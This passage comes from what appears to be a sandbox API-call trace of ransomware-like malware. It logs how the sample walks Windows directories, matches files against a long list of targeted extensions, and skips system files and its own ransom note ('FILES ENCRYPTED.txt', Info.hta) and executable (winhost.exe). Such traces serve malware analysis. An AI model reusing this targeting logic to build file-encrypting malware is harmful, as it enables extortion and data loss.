lstrlenW (lpString=".cin") returned 4 [0203.841] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".class") returned 6 [0203.841] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0203.841] lstrlenW (lpString=".clx") returned 4 [0203.841] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".config") returned 7 [0203.841] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0203.841] lstrlenW (lpString=".cpp") returned 4 [0203.841] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".cr2") returned 4 [0203.841] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".crt") returned 4 [0203.841] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".crw") returned 4 [0203.841] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".cs") returned 3 [0203.841] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0203.841] lstrlenW (lpString=".css") returned 4 [0203.841] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".csv") returned 4 [0203.842] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".cub") returned 4 [0203.842] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".dae") returned 4 [0203.842] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".dat") returned 4 [0203.842] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".db") returned 3 [0203.842] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0203.842] lstrlenW (lpString=".dbf") returned 4 [0203.842] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".dbx") returned 4 [0203.842] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".dc3") returned 4 [0203.842] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".dcm") returned 4 [0203.842] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".dcr") returned 4 [0203.842] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".der") returned 4 [0203.842] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".dib") returned 4 [0203.842] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".dic") returned 4 [0203.842] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".dif") returned 4 [0203.842] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".divx") returned 5 [0203.842] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0203.842] lstrlenW (lpString=".djvu") returned 5 [0203.842] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0203.842] lstrlenW (lpString=".dng") returned 4 [0203.842] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".doc") returned 4 [0203.842] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".docm") returned 5 [0203.842] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0203.842] lstrlenW (lpString=".docx") returned 5 [0203.842] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0203.842] lstrlenW (lpString=".dot") returned 4 [0203.842] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".dotm") returned 5 [0203.842] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0203.842] lstrlenW (lpString=".dotx") returned 5 [0203.842] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0203.842] lstrlenW (lpString=".dpx") returned 4 [0203.842] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0203.842] lstrlenW (lpString=".dqy") returned 4 [0203.842] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".dsn") returned 4 [0203.843] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".dt") returned 3 [0203.843] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0203.843] lstrlenW (lpString=".dtd") returned 4 [0203.843] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".dwg") returned 4 [0203.843] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".dwt") returned 4 [0203.843] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".dx") returned 3 [0203.843] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0203.843] lstrlenW (lpString=".dxf") returned 4 [0203.843] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".edml") returned 5 [0203.843] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0203.843] lstrlenW (lpString=".efd") returned 4 [0203.843] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".elf") returned 4 [0203.843] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".emf") returned 4 [0203.843] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".emz") returned 4 [0203.843] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".epf") returned 4 [0203.843] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".eps") returned 4 [0203.843] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".epsf") returned 5 [0203.843] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0203.843] lstrlenW (lpString=".epsp") returned 5 [0203.843] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0203.843] lstrlenW (lpString=".erf") returned 4 [0203.843] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".exr") returned 4 [0203.843] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".f4v") returned 4 [0203.843] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".fido") returned 5 [0203.843] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0203.843] lstrlenW (lpString=".flm") returned 4 [0203.843] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".flv") returned 4 [0203.843] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".frm") returned 4 [0203.843] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".fxg") returned 4 [0203.843] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".geo") returned 4 [0203.843] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0203.843] lstrlenW (lpString=".gif") returned 4 [0203.843] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0203.844] lstrlenW (lpString=".grs") returned 4 [0203.844] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0203.844] lstrlenW (lpString=".gz") returned 3 [0203.844] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0203.844] lstrlenW (lpString=".h") returned 2 [0203.844] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0203.844] lstrlenW (lpString=".hdr") returned 4 [0203.844] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0203.844] lstrlenW (lpString=".hpp") returned 4 [0203.844] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0203.844] lstrlenW (lpString=".hta") returned 4 [0203.844] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0203.844] lstrlenW (lpString=".htc") returned 4 [0203.844] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0203.844] lstrlenW (lpString=".htm") returned 4 [0203.844] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0203.844] lstrlenW (lpString=".html") returned 5 [0203.844] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0203.844] lstrlenW (lpString=".icb") returned 4 [0203.844] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0203.844] lstrlenW (lpString=".ics") returned 4 [0203.844] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0203.844] lstrlenW (lpString=".iff") returned 4 [0203.844] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0203.844] lstrlenW (lpString=".inc") returned 4 [0203.844] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0203.844] lstrlenW (lpString=".indd") returned 5 [0203.844] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0203.844] lstrlenW (lpString=".ini") returned 4 [0203.844] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0203.844] lstrlenW (lpString="desktop.ini") returned 11 [0203.844] lstrlenW (lpString=".AUF") returned 4 [0203.844] lstrcmpiW (lpString1=".AUF", lpString2=".ini") returned -1 [0203.844] lstrlenW (lpString="desktop.ini") returned 11 [0203.844] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0203.844] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0203.844] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0203.844] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0203.844] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0203.844] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0203.844] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0203.844] lstrcmpiW (lpString1="winhost.exe", lpString2="desktop.ini") returned 1 [0203.844] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0203.844] FindNextFileW (in: hFindFile=0x6110c8, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 0 [0203.844] FindClose (in: hFindFile=0x6110c8 | out: hFindFile=0x6110c8) returned 1 [0203.845] FindNextFileW (in: hFindFile=0x611088, lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 0 [0203.845] FindClose (in: hFindFile=0x611088 | out: hFindFile=0x611088) returned 1 [0203.845] FindNextFileW (in: hFindFile=0x60c050, lpFindFileData=0x349fd00 | out: lpFindFileData=0x349fd00) returned 1 [0203.845] lstrlenW (lpString="C:\\Boot") returned 7 [0203.845] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0203.845] lstrlenW (lpString="Boot") returned 4 [0203.845] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0203.845] lstrlenW (lpString="C:\\Boot") returned 7 [0203.845] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 0x611088 [0203.845] FindNextFileW (in: hFindFile=0x611088, lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 1 [0203.845] FindNextFileW (in: hFindFile=0x611088, lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 1 [0203.845] lstrlenW (lpString="BCD") returned 3 [0203.845] lstrlenW (lpString=".1cd") returned 4 [0203.845] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0203.845] lstrlenW (lpString=".3ds") returned 4 [0203.845] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0203.845] lstrlenW (lpString=".3fr") returned 4 [0203.845] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0203.845] lstrlenW (lpString=".3g2") returned 4 [0203.845] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0203.845] lstrlenW (lpString=".3gp") returned 4 [0203.845] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0203.845] lstrlenW (lpString=".7z") returned 3 [0203.845] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0203.845] lstrlenW (lpString=".accda") returned 6 [0203.845] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0203.845] lstrlenW (lpString=".accdb") returned 6 [0203.845] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0203.845] lstrlenW (lpString=".accdc") returned 6 [0203.845] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0203.845] lstrlenW (lpString=".accde") returned 6 [0203.846] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".accdt") returned 6 [0203.846] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".accdw") returned 6 [0203.846] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".adb") returned 4 [0203.846] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".adp") returned 4 [0203.846] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".ai") returned 3 [0203.846] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0203.846] lstrlenW (lpString=".ai3") returned 4 [0203.846] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".ai4") returned 4 [0203.846] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".ai5") returned 4 [0203.846] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".ai6") returned 4 [0203.846] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".ai7") returned 4 [0203.846] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".ai8") returned 4 [0203.846] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".anim") returned 5 [0203.846] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".arw") returned 4 [0203.846] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".as") returned 3 [0203.846] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0203.846] lstrlenW (lpString=".asa") returned 4 [0203.846] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".asc") returned 4 [0203.846] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".ascx") returned 5 [0203.846] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".asm") returned 4 [0203.846] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".asmx") returned 5 [0203.846] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".asp") returned 4 [0203.846] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".aspx") returned 5 [0203.846] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".asr") returned 4 [0203.846] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".asx") returned 4 [0203.846] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0203.846] lstrlenW (lpString=".avi") returned 4 [0203.847] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".avs") returned 4 [0203.847] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".backup") returned 7 [0203.847] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".bak") returned 4 [0203.847] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".bay") returned 4 [0203.847] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".bd") returned 3 [0203.847] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0203.847] lstrlenW (lpString=".bin") returned 4 [0203.847] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".bmp") returned 4 [0203.847] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".bz2") returned 4 [0203.847] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".c") returned 2 [0203.847] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0203.847] lstrlenW (lpString=".cdr") returned 4 [0203.847] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".cer") returned 4 [0203.847] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".cf") returned 3 [0203.847] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0203.847] lstrlenW (lpString=".cfc") returned 4 [0203.847] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".cfm") returned 4 [0203.847] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".cfml") returned 5 [0203.847] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".cfu") returned 4 [0203.847] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".chm") returned 4 [0203.847] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".cin") returned 4 [0203.847] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".class") returned 6 [0203.847] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".clx") returned 4 [0203.847] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".config") returned 7 [0203.847] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".cpp") returned 4 [0203.847] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0203.847] lstrlenW (lpString=".cr2") returned 4 [0203.848] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".crt") returned 4 [0203.848] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".crw") returned 4 [0203.848] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".cs") returned 3 [0203.848] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0203.848] lstrlenW (lpString=".css") returned 4 [0203.848] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".csv") returned 4 [0203.848] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".cub") returned 4 [0203.848] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".dae") returned 4 [0203.848] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".dat") returned 4 [0203.848] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".db") returned 3 [0203.848] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0203.848] lstrlenW (lpString=".dbf") returned 4 [0203.848] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".dbx") returned 4 [0203.848] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".dc3") returned 4 [0203.848] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".dcm") returned 4 [0203.848] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".dcr") returned 4 [0203.848] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".der") returned 4 [0203.848] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".dib") returned 4 [0203.848] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".dic") returned 4 [0203.848] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".dif") returned 4 [0203.848] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".divx") returned 5 [0203.848] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".djvu") returned 5 [0203.848] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".dng") returned 4 [0203.848] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".doc") returned 4 [0203.848] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0203.848] lstrlenW (lpString=".docm") returned 5 [0203.849] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".docx") returned 5 [0203.849] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".dot") returned 4 [0203.849] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".dotm") returned 5 [0203.849] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".dotx") returned 5 [0203.849] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".dpx") returned 4 [0203.849] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".dqy") returned 4 [0203.849] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".dsn") returned 4 [0203.849] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".dt") returned 3 [0203.849] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0203.849] lstrlenW (lpString=".dtd") returned 4 [0203.849] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".dwg") returned 4 [0203.849] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".dwt") returned 4 [0203.849] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".dx") returned 3 [0203.849] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0203.849] lstrlenW (lpString=".dxf") returned 4 [0203.849] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".edml") returned 5 [0203.849] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".efd") returned 4 [0203.849] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".elf") returned 4 [0203.849] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".emf") returned 4 [0203.849] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".emz") returned 4 [0203.849] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".epf") returned 4 [0203.849] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".eps") returned 4 [0203.849] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".epsf") returned 5 [0203.849] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".epsp") returned 5 [0203.849] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".erf") returned 4 [0203.849] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0203.849] lstrlenW (lpString=".exr") returned 4 [0203.849] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0203.850] lstrlenW (lpString=".f4v") returned 4 [0203.850] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0203.850] lstrlenW (lpString=".fido") returned 5 [0203.850] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0203.850] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 0x611148 [0203.868] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.871] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.878] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.884] FindNextFileW (in: hFindFile=0x611088, lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 1 [0203.884] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 0x611148 [0203.884] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.884] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.885] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.885] FindNextFileW (in: hFindFile=0x611088, lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 1 [0203.885] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 0x611148 [0203.885] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.885] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.885] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.885] FindNextFileW (in: hFindFile=0x611088, lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 1 [0203.885] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 0x611148 [0203.885] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.885] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.885] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.885] FindNextFileW (in: hFindFile=0x611088, lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 1 [0203.885] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 0x611148 [0203.886] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.886] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.886] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.886] FindNextFileW (in: hFindFile=0x611088, lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 1 [0203.886] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 0x611148 [0203.886] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.886] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.886] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.886] FindNextFileW (in: hFindFile=0x611088, lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 1 [0203.886] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 0x611148 [0203.886] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.886] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.886] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.887] FindNextFileW (in: hFindFile=0x611088, lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 1 [0203.887] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 0x611148 [0203.887] FindNextFileW (in: 